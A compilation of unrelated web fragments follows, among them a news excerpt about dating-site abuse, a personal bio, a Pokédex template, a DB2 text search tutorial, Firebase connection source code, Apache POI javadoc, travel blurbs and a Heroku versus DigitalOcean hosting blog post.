"He told me I was the first woman he'd assaulted, which wasn't true - he was always sorry afterwards and somehow kept winning me round.
"I was shocked to learn he had so many previous convictions, including violence towards former partners - if I'd known that I'd have run a mile.
"I'm speaking out to help protect other women."
When asked what her advice would be to those seeking love online, she told LeicestershireLive: "If you go on a dating website vet that person before you entertain even meeting them, you don't know who they are - I ended up with an animal.
"He was the boyfriend from hell."
Ms Emms met Dennis George Beastall, known as "Billy" on the Plenty of Fish (POF) dating site.
She said: "His profile photo was taken when he was younger and better looking.
"He was also on the Badoo site and used profile names, including Billy Breaker Beastall and Billy Rooster Beastall."


A Short Bio About Me, Adrian Huebner
I was born in Seattle, Washington on May 15, 1992. I am the oldest sibling, I only have 1 younger sister whose name is Kalynn and she is 1 year and 5 monthes younger than me. I have lived in Seattle my whole life and I grew up in the same house that my father grew up in.
Education
- Bishop Blanchet High School 2010 | High School Diploma
- Edmonds Community College 2013 | Associate of Arts Degree
- Code Fellows Currently Attending
Where my Love of Reading Comes From
When I was in kindergarden, I had an extremely hard time learning how to read and my teachers were concered about how far behind I was, compared to other students. My father decided that he would work with me everynight and read to me. I don't know how he decided it, probably because you could buy a cheap multipack at Sam's or Costco, he chose to read me Nancy Drew. I don't know what it was about Nancy Drew but I ended up loving it, and we read the whole series together. It became a tradition, we then began to add Harry Potter. Even though I knew how to read at a certain point, there was something comforting about having him read to me.
Here is a List of my Top 10 Books and a Quote from That Book
- Nancy Drew
- Pride and Prejudice
- Harry Potter and the Prisoner of Azkaban
- Furyborn
- The Cruel Prince
- Little Women
- The Power
- Girls Made of Snow and Glass
- Cinder
- The Letter for the King


%inherit file="/base.mako" /> <%! from splinext.pokedex import i18n %> <%def name="title()">${_(u'Pokémon Conquest - Pokédex')}%def> <%def name="title_in_page()">
%def> ${h.h1(_(u'Pokémon Conquest'))}${_(u"""For the first time in veekun history, we* are attempting to investigate a spinoff game: Pokémon Conquest. This may not be as complete as some other sites in some areas, but in the true spirit of veekun, virtually everything is ripped straight from the game's innards so you can be sure it's accurate** and everything is presented very prettily.""") | n}
${_(u"""Here's what we have so far:""")}
${_(u"""You can also get to all these lists from the Pokédex menu.
Everything's in the lookup, too; if you want to go straight to the Conquest
page for something that also exists in the main series, you'll have to tack
conquest
on the end, e.g. eevee conquest
.""") | n}
${_(u"""The plan from here is to write effects for abilities and warrior skills, figure out how to rip locations for stuff, and get whatever other data we're probably forgetting. Maaaaybe investigate and write in detail about mechanics like stats and damage and link gain, if people still care about this game enough when we get there.""")}
${_(u"""* And by "we", I mean me: Zhorken.** Eevee's busy writing veekun 8
and I'm pretty sure he hasn't even played the game.""")}
${_(u"""** No, wait, that's not entirely true either. The data-ripping part
was a joint effort between me and Eifie; if anything, she did more than I did.
I somehow forgot to mention that when Conquest stuff first went live.""")}


Select the points and confirm them in the button below.
After confirming, click and drag to pan and use the mouse wheel to
zoom.
You can toggle the convex hull, Voronoi diagram, and neighbors graph
visualization.
Selecting the sample points or generating random ones automatically
confirms them and erases the existing ones.
Select the confirmed points with a double click or middle-button
click to create the path with A*.


introduction of Makinori Ikegami (Temporary)
Layer3
Layer2
/
Layer1
/
404
Page not found :(
The requested page could not be found.


This is not a real banking service. Use for testing purposes only. No money will be moved.
Make a new payment
To
Destination sort code
6 digits
Destination account number
8 digits
Destination name
Reference
(max 18 characters)
Enter amount
Enter date
(dd/mm/yyyy)
Proceed


Two vector in 2-dimensional space:
$$ \begin{aligned} \mathbf{a} &= (a_1, a_2), \text{ in }\mathbb{R}^2\\ \mathbf{b} &= (b_1, b_2), \text{ in }\mathbb{R}^2 \end{aligned}$$
The sum of two vectors is the vector resulting from the addition of the components of the original vectors:
$$\begin{aligned} \mathbf{c} &= \mathbf{a} + \mathbf{b}\\ &= (a_1 + b_1, a_2 + b_2) \end{aligned}$$
A sample:
Two vectors in 2-dimensional space:
$$ \begin{aligned} \mathbf{a} &= (a_1, a_2), \text{ in }\mathbb{R}^2\\ \mathbf{b} &= (b_1, b_2), \text{ in }\mathbb{R}^2 \end{aligned}$$
The difference of two vectors is the vector resulting from the differences of the components of the original vectors:
$$\begin{aligned} \mathbf{c} &= \mathbf{a} - \mathbf{b}\\ &= (a_1 - b_1, a_2 - b_2) \end{aligned}$$
A sample:
A vector $a$ in 2-dimensional space and a scalar $\\lambda$ (a number):
$$ \begin{aligned} \mathbf{a} &= (a_1, a_2), \text{ in }\mathbb{R}^2\\ \lambda \end{aligned}$$
A vector multiplied by a scalar is the vector resulting of the multiplication of each component of the original vector by the scalar:
$$\begin{aligned} \mathbf{c} &= \lambda \mathbf{a}\\ &= (\lambda a_1, \lambda a_2) \end{aligned}$$
A sample:
You can drag the red dot to change the vector $\mathbf{a}$ and see how this affects the result of the scalar multiplication, that is vector $\mathbf{c}$
Change the value of scalar $\lambda$ by dragging the slider.


You can now create text indexes on text data types and XML data types. For each text index, a text search collection is created on the file system. A text search collection holds the significant terms that are extracted from the documents.
Run the SQL in the Ad Hoc command window to the right. Note that case IS CASE SENSITIVE for the schema, index and table name used in the CALL commands.
db2ts "CREATE INDEX mytitleidx FOR TEXT ON books(title)"
Here in the Technology Explorer, we create the index using the administrative SQL routine.
CALL SYSTS_CREATE('MYSCHEMA','MYTITLEIDX', 'MYSCHEMA.BOOKS(TITLE)', '','en_US', ?);
db2ts "CREATE INDEX myxmlidx FOR TEXT ON books(bookinfo)"
Here in the Technology Explorer, we create the index using the administrative SQL routine.
CALL SYSTS_CREATE('MYSCHEMA','MYXMLIDX', 'MYSCHEMA.BOOKS(BOOKINFO)', '','en_US', ?);
Few objects are created as a result of the previous command:
After creating a text index, an empty index structure has been prepared. Updating the text index for the first time will load and index the data from the column for which the text index was created. DB2 Text Search uses linguistic processing to parse the texts and documents.
db2ts "UPDATE INDEX mytitleidx FOR TEXT"
db2ts "UPDATE INDEX myxmlidx FOR TEXT"
Here in the Technology Explorer, we update the indexes using the administrative SQL routine.
CALL SYSTS_UPDATE('MYSCHEMA', 'MYTITLEIDX', '', 'en_US', ?);
CALL SYSTS_UPDATE('MYSCHEMA', 'MYXMLIDX' , '', 'en_US', ?);
Upon successful completion of every UPDATE INDEX command or CALL SYSTS_UPDATE statment, the text index is marked for incremental update. Changes are recorded in a staging table so that the text index will be synchronized with the base table rows.


I am trying to write a line of code to count the number of elements in a txt file per row, when every row has a different number of elements, and save the data into 4 separate variables. all of the elements are ints.
for example:
the file reads: (all numbers separated by a tab)
15 4 6 7
4 2 42
5 32 6 8 7
28 3 8 9 0 21
The resulting variables would be:
a = 4
b = 3
c = 5
d = 6
And what to do if there are lines of the file with different numbers of elements for example 0, 1, 2, 7, 10, and even 100?
So it is not clear what you are going to do.


* You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import { error, logWrapper, requireKey, setTimeoutNonBlocking, warn } from '../core/util/util'; import { PersistentStorage } from '../core/storage/storage'; import { PROTOCOL_VERSION } from './Constants'; import { TransportManager } from './TransportManager'; import { RepoInfo } from '../core/RepoInfo'; import { Transport, TransportConstructor } from './Transport'; // Abort upgrade attempt if it takes longer than 60s. const UPGRADE_TIMEOUT = 60000; // For some transports (WebSockets), we need to "validate" the transport by exchanging a few requests and responses. // If we haven't sent enough requests within 5s, we'll start sending noop ping requests. const DELAY_BEFORE_SENDING_EXTRA_REQUESTS = 5000; // If the initial data sent triggers a lot of bandwidth (i.e. it's a large put or a listen for a large amount of data) // then we may not be able to exchange our ping/pong requests within the healthy timeout. So if we reach the timeout // but we've sent/received enough bytes, we don't cancel the connection. const BYTES_SENT_HEALTHY_OVERRIDE = 10 * 1024; const BYTES_RECEIVED_HEALTHY_OVERRIDE = 100 * 1024; const enum RealtimeState { CONNECTING, CONNECTED, DISCONNECTED } const MESSAGE_TYPE = 't'; const MESSAGE_DATA = 'd'; const CONTROL_SHUTDOWN = 's'; const CONTROL_RESET = 'r'; const CONTROL_ERROR = 'e'; const CONTROL_PONG = 'o'; const SWITCH_ACK = 'a'; const END_TRANSMISSION = 'n'; const PING = 'p'; const SERVER_HELLO = 'h'; /** * Creates a new real-time connection to the server using whichever method works * best in the current browser. * * @constructor */ export class Connection { connectionCount = 0; pendingDataMessages: any[] = []; sessionId: string; private conn_: Transport; private healthyTimeout_: number; private isHealthy_: boolean; private log_: (...args: any[]) => void; private primaryResponsesRequired_: number; private rx_: Transport; private secondaryConn_: Transport; private secondaryResponsesRequired_: number; private state_ = RealtimeState.CONNECTING; private transportManager_: TransportManager; private tx_: Transport; /** * @param {!string} id - an id for this connection * @param {!RepoInfo} repoInfo_ - the info for the endpoint to connect to * @param {function(Object)} onMessage_ - the callback to be triggered when a server-push message arrives * @param {function(number, string)} onReady_ - the callback to be triggered when this connection is ready to send messages. * @param {function()} onDisconnect_ - the callback to be triggered when a connection was lost * @param {function(string)} onKill_ - the callback to be triggered when this connection has permanently shut down. * @param {string=} lastSessionId - last session id in persistent connection. is used to clean up old session in real-time server */ constructor( public id: string, private repoInfo_: RepoInfo, private onMessage_: (a: Object) => void, private onReady_: (a: number, b: string) => void, private onDisconnect_: () => void, private onKill_: (a: string) => void, public lastSessionId?: string ) { this.log_ = logWrapper('c:' + this.id + ':'); this.transportManager_ = new TransportManager(repoInfo_); this.log_('Connection created'); this.start_(); } /** * Starts a connection attempt * @private */ private start_() { const conn = this.transportManager_.initialTransport(); this.conn_ = new conn( this.nextTransportId_(), this.repoInfo_, undefined, this.lastSessionId ); // For certain transports (WebSockets), we need to send and receive several messages back and forth before we // can consider the transport healthy. this.primaryResponsesRequired_ = conn['responsesRequiredToBeHealthy'] || 0; const onMessageReceived = this.connReceiver_(this.conn_); const onConnectionLost = this.disconnReceiver_(this.conn_); this.tx_ = this.conn_; this.rx_ = this.conn_; this.secondaryConn_ = null; this.isHealthy_ = false; /* * Firefox doesn't like when code from one iframe tries to create another iframe by way of the parent frame. * This can occur in the case of a redirect, i.e. we guessed wrong on what server to connect to and received a reset. * Somehow, setTimeout seems to make this ok. That doesn't make sense from a security perspective, since you should * still have the context of your originating frame. */ setTimeout(() => { // this.conn_ gets set to null in some of the tests. Check to make sure it still exists before using it this.conn_ && this.conn_.open(onMessageReceived, onConnectionLost); }, Math.floor(0)); const healthyTimeout_ms = conn['healthyTimeout'] || 0; if (healthyTimeout_ms > 0) { this.healthyTimeout_ = setTimeoutNonBlocking(() => { this.healthyTimeout_ = null; if (!this.isHealthy_) { if ( this.conn_ && this.conn_.bytesReceived > BYTES_RECEIVED_HEALTHY_OVERRIDE ) { this.log_( 'Connection exceeded healthy timeout but has received ' + this.conn_.bytesReceived + ' bytes. Marking connection healthy.' ); this.isHealthy_ = true; this.conn_.markConnectionHealthy(); } else if ( this.conn_ && this.conn_.bytesSent > BYTES_SENT_HEALTHY_OVERRIDE ) { this.log_( 'Connection exceeded healthy timeout but has sent ' + this.conn_.bytesSent + ' bytes. Leaving connection alive.' ); // NOTE: We don't want to mark it healthy, since we have no guarantee that the bytes have made it to // the server. } else { this.log_('Closing unhealthy connection after timeout.'); this.close(); } } }, Math.floor(healthyTimeout_ms)) as any; } } /** * @return {!string} * @private */ private nextTransportId_(): string { return 'c:' + this.id + ':' + this.connectionCount++; } private disconnReceiver_(conn) { return everConnected => { Iif (conn === this.conn_) { this.onConnectionLost_(everConnected); } else Iif (conn === this.secondaryConn_) { this.log_('Secondary connection lost.'); this.onSecondaryConnectionLost_(); } else { this.log_('closing an old connection'); } }; } private connReceiver_(conn: Transport) { return (message: object) => { Eif (this.state_ != RealtimeState.DISCONNECTED) { if (conn === this.rx_) { this.onPrimaryMessageReceived_(message); } else Eif (conn === this.secondaryConn_) { this.onSecondaryMessageReceived_(message); } else { this.log_('message on old connection'); } } }; } /** * * @param {Object} dataMsg An arbitrary data message to be sent to the server */ sendRequest(dataMsg: object) { // wrap in a data message envelope and send it on const msg = { t: 'd', d: dataMsg }; this.sendData_(msg); } tryCleanupConnection() { if (this.tx_ === this.secondaryConn_ && this.rx_ === this.secondaryConn_) { this.log_( 'cleaning up and promoting a connection: ' + this.secondaryConn_.connId ); this.conn_ = this.secondaryConn_; this.secondaryConn_ = null; // the server will shutdown the old connection } } private onSecondaryControl_(controlData: { [k: string]: any }) { Eif (MESSAGE_TYPE in controlData) { const cmd = controlData[MESSAGE_TYPE] as string; if (cmd === SWITCH_ACK) { this.upgradeIfSecondaryHealthy_(); } else Iif (cmd === CONTROL_RESET) { // Most likely the session wasn't valid. Abandon the switch attempt this.log_('Got a reset on secondary, closing it'); this.secondaryConn_.close(); // If we were already using this connection for something, than we need to fully close if ( this.tx_ === this.secondaryConn_ || this.rx_ === this.secondaryConn_ ) { this.close(); } } else Eif (cmd === CONTROL_PONG) { this.log_('got pong on secondary.'); this.secondaryResponsesRequired_--; this.upgradeIfSecondaryHealthy_(); } } } private onSecondaryMessageReceived_(parsedData: object) { const layer: string = requireKey('t', parsedData); const data: any = requireKey('d', parsedData); if (layer == 'c') { this.onSecondaryControl_(data); } else Eif (layer == 'd') { // got a data message, but we're still second connection. Need to buffer it up this.pendingDataMessages.push(data); } else { throw new Error('Unknown protocol layer: ' + layer); } } private upgradeIfSecondaryHealthy_() { if (this.secondaryResponsesRequired_ <= 0) { this.log_('Secondary connection is healthy.'); this.isHealthy_ = true; this.secondaryConn_.markConnectionHealthy(); this.proceedWithUpgrade_(); } else { // Send a ping to make sure the connection is healthy. this.log_('sending ping on secondary.'); this.secondaryConn_.send({ t: 'c', d: { t: PING, d: {} } }); } } private proceedWithUpgrade_() { // tell this connection to consider itself open this.secondaryConn_.start(); // send ack this.log_('sending client ack on secondary'); this.secondaryConn_.send({ t: 'c', d: { t: SWITCH_ACK, d: {} } }); // send end packet on primary transport, switch to sending on this one // can receive on this one, buffer responses until end received on primary transport this.log_('Ending transmission on primary'); this.conn_.send({ t: 'c', d: { t: END_TRANSMISSION, d: {} } }); this.tx_ = this.secondaryConn_; this.tryCleanupConnection(); } private onPrimaryMessageReceived_(parsedData: { [k: string]: any }) { // Must refer to parsedData properties in quotes, so closure doesn't touch them. const layer: string = requireKey('t', parsedData); const data: any = requireKey('d', parsedData); if (layer == 'c') { this.onControl_(data); } else Eif (layer == 'd') { this.onDataMessage_(data); } } private onDataMessage_(message: any) { this.onPrimaryResponse_(); // We don't do anything with data messages, just kick them up a level this.onMessage_(message); } private onPrimaryResponse_() { if (!this.isHealthy_) { this.primaryResponsesRequired_--; if (this.primaryResponsesRequired_ <= 0) { this.log_('Primary connection is healthy.'); this.isHealthy_ = true; this.conn_.markConnectionHealthy(); } } } private onControl_(controlData: { [k: string]: any }) { const cmd: string = requireKey(MESSAGE_TYPE, controlData); Eif (MESSAGE_DATA in controlData) { const payload = controlData[MESSAGE_DATA]; if (cmd === SERVER_HELLO) { this.onHandshake_(payload); } else if (cmd === END_TRANSMISSION) { this.log_('recvd end transmission on primary'); this.rx_ = this.secondaryConn_; for (let i = 0; i < this.pendingDataMessages.length; ++i) { this.onDataMessage_(this.pendingDataMessages[i]); } this.pendingDataMessages = []; this.tryCleanupConnection(); } else Iif (cmd === CONTROL_SHUTDOWN) { // This was previously the 'onKill' callback passed to the lower-level connection // payload in this case is the reason for the shutdown. Generally a human-readable error this.onConnectionShutdown_(payload); } else Iif (cmd === CONTROL_RESET) { // payload in this case is the host we should contact this.onReset_(payload); } else Iif (cmd === CONTROL_ERROR) { error('Server Error: ' + payload); } else Eif (cmd === CONTROL_PONG) { this.log_('got pong on primary.'); this.onPrimaryResponse_(); this.sendPingOnPrimaryIfNecessary_(); } else { error('Unknown control packet command: ' + cmd); } } } /** * * @param {Object} handshake The handshake data returned from the server * @private */ private onHandshake_(handshake: { ts: number; v: string; h: string; s: string; }) { const timestamp = handshake.ts; const version = handshake.v; const host = handshake.h; this.sessionId = handshake.s; this.repoInfo_.updateHost(host); // if we've already closed the connection, then don't bother trying to progress further Eif (this.state_ == RealtimeState.CONNECTING) { this.conn_.start(); this.onConnectionEstablished_(this.conn_, timestamp); Iif (PROTOCOL_VERSION !== version) { warn('Protocol version mismatch detected'); } // TODO: do we want to upgrade? when? maybe a delay? this.tryStartUpgrade_(); } } private tryStartUpgrade_() { const conn = this.transportManager_.upgradeTransport(); if (conn) { this.startUpgrade_(conn); } } private startUpgrade_(conn: TransportConstructor) { this.secondaryConn_ = new conn( this.nextTransportId_(), this.repoInfo_, this.sessionId ); // For certain transports (WebSockets), we need to send and receive several messages back and forth before we // can consider the transport healthy. this.secondaryResponsesRequired_ = conn['responsesRequiredToBeHealthy'] || 0; const onMessage = this.connReceiver_(this.secondaryConn_); const onDisconnect = this.disconnReceiver_(this.secondaryConn_); this.secondaryConn_.open(onMessage, onDisconnect); // If we haven't successfully upgraded after UPGRADE_TIMEOUT, give up and kill the secondary. setTimeoutNonBlocking(() => { if (this.secondaryConn_) { this.log_('Timed out trying to upgrade.'); this.secondaryConn_.close(); } }, Math.floor(UPGRADE_TIMEOUT)); } private onReset_(host: string) { this.log_('Reset packet received. New host: ' + host); this.repoInfo_.updateHost(host); // TODO: if we're already "connected", we need to trigger a disconnect at the next layer up. // We don't currently support resets after the connection has already been established if (this.state_ === RealtimeState.CONNECTED) { this.close(); } else { // Close whatever connections we have open and start again. this.closeConnections_(); this.start_(); } } private onConnectionEstablished_(conn: Transport, timestamp: number) { this.log_('Realtime connection established.'); this.conn_ = conn; this.state_ = RealtimeState.CONNECTED; Eif (this.onReady_) { this.onReady_(timestamp, this.sessionId); this.onReady_ = null; } // If after 5 seconds we haven't sent enough requests to the server to get the connection healthy, // send some pings. if (this.primaryResponsesRequired_ === 0) { this.log_('Primary connection is healthy.'); this.isHealthy_ = true; } else { setTimeoutNonBlocking(() => { this.sendPingOnPrimaryIfNecessary_(); }, Math.floor(DELAY_BEFORE_SENDING_EXTRA_REQUESTS)); } } private sendPingOnPrimaryIfNecessary_() { // If the connection isn't considered healthy yet, we'll send a noop ping packet request. if (!this.isHealthy_ && this.state_ === RealtimeState.CONNECTED) { this.log_('sending ping on primary.'); this.sendData_({ t: 'c', d: { t: PING, d: {} } }); } } private onSecondaryConnectionLost_() { const conn = this.secondaryConn_; this.secondaryConn_ = null; if (this.tx_ === conn || this.rx_ === conn) { // we are relying on this connection already in some capacity. Therefore, a failure is real this.close(); } } /** * * @param {boolean} everConnected Whether or not the connection ever reached a server. Used to determine if * we should flush the host cache * @private */ private onConnectionLost_(everConnected: boolean) { this.conn_ = null; // NOTE: IF you're seeing a Firefox error for this line, I think it might be because it's getting // called on window close and RealtimeState.CONNECTING is no longer defined. Just a guess. if (!everConnected && this.state_ === RealtimeState.CONNECTING) { this.log_('Realtime connection failed.'); // Since we failed to connect at all, clear any cached entry for this namespace in case the machine went away if (this.repoInfo_.isCacheableHost()) { PersistentStorage.remove('host:' + this.repoInfo_.host); // reset the internal host to what we would show the user, i.e. <ns>.firebaseio.com this.repoInfo_.internalHost = this.repoInfo_.host; } } else if (this.state_ === RealtimeState.CONNECTED) { this.log_('Realtime connection lost.'); } this.close(); } /** * * @param {string} reason * @private */ private onConnectionShutdown_(reason: string) { this.log_('Connection shutdown command received. Shutting down...'); if (this.onKill_) { this.onKill_(reason); this.onKill_ = null; } // We intentionally don't want to fire onDisconnect (kill is a different case), // so clear the callback. this.onDisconnect_ = null; this.close(); } private sendData_(data: object) { Iif (this.state_ !== RealtimeState.CONNECTED) { throw 'Connection is not connected'; } else { this.tx_.send(data); } } /** * Cleans up this connection, calling the appropriate callbacks */ close() { Eif (this.state_ !== RealtimeState.DISCONNECTED) { this.log_('Closing realtime connection.'); this.state_ = RealtimeState.DISCONNECTED; this.closeConnections_(); Eif (this.onDisconnect_) { this.onDisconnect_(); this.onDisconnect_ = null; } } } /** * * @private */ private closeConnections_() { this.log_('Shutting down all connections'); Eif (this.conn_) { this.conn_.close(); this.conn_ = null; } if (this.secondaryConn_) { this.secondaryConn_.close(); this.secondaryConn_ = null; } if (this.healthyTimeout_) { clearTimeout(this.healthyTimeout_); this.healthyTimeout_ = null; } } } |


Banasura Sagar DamOne of the most spellbinding places to visit in Wayanad, Banasura Sagar Dam is a picturesque tourist hotspot. Known for being India’s largest earthen dam, it boasts of extensive natural beauty with beautiful flora and fauna, majestic hills and mesmerising waterfalls. The Banasura Sagar is a photographer’s delight and offers the most beautiful views from the top of the hill. It is also famous among adventure enthusiasts who look forward to thrilling activities like boating, trekking, horse racing and camel rides. |
|
Pookode LakePookode Lake should incite your curiosity. Surrounded by the evergreen beauty of Western Ghats and verdant forests, Pookode Lake is a gorgeous freshwater lake. One of the most interesting features of this lake is that it virtually appears to be in the shape of India’s physical map. Boasting of picturesque excellence and a mesmerising ambience, this freshwater lake is the initiating point of Panamaram stream in Kerala. |


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object org.apache.poi.hssf.record.Record org.apache.poi.hssf.record.MergeCellsRecord
public class MergeCellsRecord
Title: Merged Cells Record
Description: Optional record defining a square area of cells to "merged" into
one cell.
REFERENCE: NONE (UNDOCUMENTED PRESENTLY)
| Nested Class Summary | |
|---|---|
class |
MergeCellsRecord.MergedRegion
this is a low level representation of a MergedRegion of cells. |
| Field Summary | |
|---|---|
static short |
sid
|
| Constructor Summary | |
|---|---|
MergeCellsRecord()
|
|
MergeCellsRecord(RecordInputStream in)
Constructs a MergedCellsRecord and sets its fields appropriately |
| Method Summary | |
|---|---|
int |
addArea(int rowfrom,
short colfrom,
int rowto,
short colto)
Add an area to consider a merged cell. |
java.lang.Object |
clone()
|
protected void |
fillFields(RecordInputStream in)
called by the constructor, should set class level fields. |
MergeCellsRecord.MergedRegion |
getAreaAt(int index)
return the MergedRegion at the given index. |
short |
getNumAreas()
get the number of merged areas. |
int |
getRecordSize()
gives the current serialized size of the record. |
short |
getSid()
return the non static version of the id for this record. |
void |
removeAreaAt(int area)
essentially unmerge the cells in the "area" stored at the passed in index |
int |
serialize(int offset,
byte[] data)
called by the class that is responsible for writing this sucker. |
void |
setNumAreas(short numareas)
Deprecated. We now link the size to the actual array of merged regions |
java.lang.String |
toString()
get a string representation of the record (for biffview/debugging) |
protected void |
validateSid(short id)
called by constructor, should throw runtime exception in the event of a record passed with a differing ID. |
| Methods inherited from class org.apache.poi.hssf.record.Record |
|---|
isInValueSection, isValue, serialize |
| Methods inherited from class java.lang.Object |
|---|
equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait |
| Field Detail |
|---|
public static final short sid
| Constructor Detail |
|---|
public MergeCellsRecord()
public MergeCellsRecord(RecordInputStream in)
sid
- id must be 0xe5 or an exception will be throw upon validationsize
- the size of the data area of the recorddata
- data of the record (should not contain sid/len)| Method Detail |
|---|
protected void fillFields(RecordInputStream in)
Record
fillFields
in class Record
public short getNumAreas()
public void setNumAreas(short numareas)
numareas
- number of areasgetNumAreas()
public int addArea(int rowfrom, short colfrom, int rowto, short colto)
rowfrom
- - the upper left hand corner's rowcolfrom
- - the upper left hand corner's colrowto
- - the lower right hand corner's rowcolto
- - the lower right hand corner's col
public void removeAreaAt(int area)
area
- indexpublic MergeCellsRecord.MergedRegion getAreaAt(int index)
public int getRecordSize()
Record
getRecordSize
in class Record
public short getSid()
Record
getSid
in class Record
public int serialize(int offset, byte[] data)
Record
serialize
in class Record
offset
- to begin writing atdata
- byte array containing instance data
public java.lang.String toString()
Record
toString
in class Record
protected void validateSid(short id)
Record
validateSid
in class Record
id
- alleged id for this recordpublic java.lang.Object clone()
clone
in class Record
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Supported 1.5 Language Features
Developer's Guide
The Retroweaver Developer's Guide is available in the following formats:
Site design by Pegasus Web Design Resources


Vendor Name:
DELOITTE & TOUCHE LLP
Reference Number:
6011932
Contract Date:
2008-02-07
Description of Work:
TEMPORARY HELP SERVICES
Contract Period:
2008-02-07 to 2008-29-08
Delivery Date:
2008-29-08
Original Contract Value:
$0.00
Current Contract Value:
$24,675.00


{<1>}
Why Heroku?
Heroku is fantastic. I’ve been using it for years. It’s reliable and hides all the stuff that you don’t want to worry about as an app developer (failover, load balancing, process monitoring, backups, security patches, etc, etc).
Why NOT Heroku?
Heroku can be expensive.
To run a Rails app with 1 GB RAM ($34), a database ($9), a worker thread ($34) and SSL support ($20) will cost $97 per month on Heroku.
If you have a profitable app with many paying customers that is probably ok. I’d say it is worth $97 per month not having to worry about servers and instead focus on your what’s more important - your apps, customers and business.
But what if your app is not making any money yet? And what if you have many apps like this?
If you know your way around a server, and have some time to configure and maintain it, you can save some money by doing it yourself.
Why DigitalOcean?
DigitalOcean is a relatively new cloud server provider (started 2012) and it has been getting a lot of attention due to its all SSD storage and low priced servers starting at $5 per month.
To run a Rails app like the example above, 2GB RAM should be enough. That will be $20 per month on DigitalOcean.
To compare, 2 GB of RAM would cost $40 per month on Linode, and $44 per month on Amazon EC2.
Please note that I am not taking storage, bandwith, transfer costs or support level into account here. If you have special needs this needs to be factored in.
Performance comparison
I compared load times from the app with same source code running on Heroku and DigitalOcean. I did 30 requests to each service to get the load time of a page. The page did a few database queries per load.
Surprisingly, DigitalOcean has 40-50% faster load times.
Heroku
Min: 0.538s Max: 1.175s Average: 0.811s
DigitalOcean
Min: 0.248s Max: 0.798s Average: 0.502s
Conclusion
If you:
- Have an app without enough paying users
- Have the time to set up a Linux server
- Think fiddling with servers is awesome!
Then YES, a move to DigitalOcean can save you money today! If you use this link you get a $10 credit!
If you like this you should follow me on Twitter.
Note: I included affiliate links to DigitalOcean and Linode. It does not affect my opinions or recommendations of those services. Use the links if you want to support future blog posts like this.


Lorem, ipsum dolor sit amet consectetur adipisicing elit. Rem, aspernatur dolores magni,
aliquam perferendis debitis ipsa necessitatibus nisi quisquam velit ex dolorem, facilis
et rerum quod blanditiis ducimus voluptatem adipisci!
We use cookies to find out the way to provide the best experience for you. By clicking "Accept" ,
you agree to the use of cookies and other technologies on our website.


mediam size
mediam size
mediam and large
mediam and large
mediam and large
mediam and large
No device size
No device size
No device size
No device size
col-md
large btn col-md
col-md
This cames last
This cames first
no way